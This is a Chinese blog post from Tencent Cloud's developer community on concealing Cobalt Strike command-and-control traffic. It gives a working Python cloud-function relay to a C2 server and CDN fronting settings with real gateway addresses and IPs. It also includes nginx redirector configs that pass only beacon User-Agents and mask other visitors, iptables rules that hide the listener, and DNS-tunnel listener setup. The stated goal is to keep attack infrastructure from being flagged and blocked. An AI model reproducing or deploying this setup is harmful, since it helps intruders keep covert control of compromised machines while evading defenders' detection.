前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >cobaltstrike 流量隐藏

cobaltstrike 流量隐藏

原创
作者头像
黑战士
发布2024-04-17 16:34:43
720
发布2024-04-17 16:34:43
举报
文章被收录于专栏:黑战士安全黑战士安全

云函数

新建一个云函数,在代码位置进行修改

image-20240119151501645
image-20240119151501645

首先导入 yisiwei.zip 的云函数包

代码语言:javascript
复制
PYTHON
# -*- coding: utf8 -*-
import json, requests, base64
​
​
def main_handler(event, context):
    C2 = 'https://49.xx.xx.xx'  # 这里可以使用 HTTP、HTTPS~下角标~ 
    path = event['path']
    headers = event['headers']
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2 + path, headers=headers, verify=False)
    else:
        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
        print(resp.headers)
        print(resp.content)
    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]}
    return response

记得部署

image.png
image.png

创建触发器,选择新建的模板和 API 网关触发方式

image-20240119151524839
image-20240119151524839
image-20240119151543820
image-20240119151543820
image-20240119151600716
image-20240119151600716

监听器配置填入地址 service-cv4vqio3-1307700818.sh.apigw.tencentcs.com

image-20240119151629725
image-20240119151629725
image-20240119151658228
image-20240119151658228

CDN

cobaltstrike 监听器设置为 CDN 的地址,HTTPS Host Header 设置为加速的域名

image-20240119151725639
image-20240119151725639

腾讯云 CDN 加速 IP 表,具体可通过多地 ping 域名获取最新的

代码语言:javascript
复制
JAVASCRIPT
1.180.204.161 1.180.204.227 1.198.4.42 106.117.249.12 1.198.4.95
1.31.130.154 101.206.209.141 106.117.249.11  106.117.249.13 106.117.249.14 

腾讯云配置

image-20240119151740445
image-20240119151740445

腾讯云配置一定要设置为不缓存,不然上线一次就不上线了

image-20240119151754380
image-20240119151754380

成功上线

image-20240119151809700
image-20240119151809700

Nginx 域前置

当我们使用原版 CS 挂载到公网 VPS 上会被扫描,大概率会出现以下情况

fa87ba386b6a7051ae2343dd69c30ac.png
fa87ba386b6a7051ae2343dd69c30ac.png

很容易致使 VPS 被情报社区标黑,进而导致在实战项目上出现被拦截无法上线的情况

image.png
image.png

这时候我们有两个解决方法

修改原版 jar 包默认特征 使用域前置技术配合 nginx 进行转发,防止被扫描

首先是需要一个域名,国内 VPS 需要备案,国外可以使用 cloudflare 进行加速,这里使用的是腾讯云

添加域名后可进行证书下载,这里我们选择 nginx

image.png
image.png

申请完成之后对文件进行重命名,生成 cobaltstrike.store

主要用到两个文件 server.pemserver.key

image.png
image.png

通过以下命令进行生成

代码语言:javascript
复制
GO
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456 
​
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cobaltstrike.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert

密码与输入命令需保持一致

image.png
image.png

nginx 端口转发注意 profile 必须配置 set trust_x_forwarded_for "true"

image.png
image.png

nginx 命令如下

代码语言:javascript
复制
PLAINTEXT
ginx配置文件目录:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/conf.d/*.conf
​
启动nginx:
service nginx restart
systemctl status nginx.service
systemctl restart nginx
​
重新修改配置
nginx -s reload

http 监听器 default 文件配置

代码语言:javascript
复制
PLAINTEXT
http 转发80端口
编辑/etc/nginx/sites-enabled/default
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name localhost;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
​
root /var/www/html;
​
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
​
location / {
    # user_agent与profile配置内容一致。只对上线的请求做端口转发,屏蔽其他流量
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.39 (KHTML, like Gecko) Chrome/92.0.4519.137 Safari/539.39") {
return 404;
}
     
    #转发后的端口12345,可修改为其他端口
proxy_pass http://localhost:12345;
}
}

https 监听器 default 文件配置

代码语言:javascript
复制
PLAINTEXT
server 
{
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    server_name CDN;
    expires    off;              
    proxy_redirect      off;              
    proxy_set_header    Host                $host;              
    proxy_set_header    X-Forwarded-For     $proxy_add_x_forwarded_for;              
    proxy_set_header    X-Real-IP           $remote_addr;              
    
    #ssl证书文件位置
    ssl_certificate   /etc/nginx/conf.d/server.crt;
    ssl_certificate_key /etc/nginx/conf.d/server.key;
    
    root /var/www/html;
    index index.html;
    
    location ~*/(v1/xxx|v2/xxx) 
    {
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5396.2 Safari/537.36") 
        {
            return 404;
        }
        #转发后的端口10086,可修改为其他端口
        proxy_pass https://127.0.0.1:10086;
    }
    
    location /
    {
        proxy_pass https://www.baidu.com;
    }
}

除此以外,转发后的端口从外部仍能扫描,因此需要使用 iptables 进行限制

代码语言:javascript
复制
PLAINTEXT
sudo iptables -A INPUT -p tcp --dport 端口号 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 端口号 -j DROP

监听器配置

image.png|400
image.png|400

DNS 隐匿隧道

首先需要购买域名,为什么推荐这个网站,便宜且可以使用支付宝支付,免除需要 VISA、国外信用卡麻烦

https://www.namesilo.com

腾讯云需要配置进行域名验证

image.png
image.png
代码语言:javascript
复制
namesilo` 设置 `change nameservers`,12 分别填入腾讯云的两个地址,等待域名状态变为 `Active
image.png
image.png
image.png
image.png

添加一条 A 记录指向 CS 服务器的公网 IP,再添加几条 NS 记录指向 A 记录域名即可

image.png
image.png

监听器新建 DNS 可能会提示 53 端口被占用

解决方案

代码语言:javascript
复制
PLAINTEXT
systemctl stop systemd-resolved 
#停用 systemd-resolved 服务
​
vi /etc/systemd/resolved.conf
[Resolve]
DNS=8.8.8.8 #取消注释,增加dns
#FallbackDNS=
#Domains=
#LLMNR=no
#MulticastDNS=no
#DNSSEC=no
#Cache=yes
DNSStubListener=no #取消注释,把yes改为no
​
ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

监听器配置如下 ns1.xxxx.comns2.xxxx.com

image.png|400
image.png|400

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 云函数
  • CDN
  • Nginx 域前置
  • DNS 隐匿隧道
相关产品与服务
内容分发网络 CDN
内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容,避免因网络拥堵、跨运营商、跨地域、跨境等因素带来的网络不稳定、访问延迟高等问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档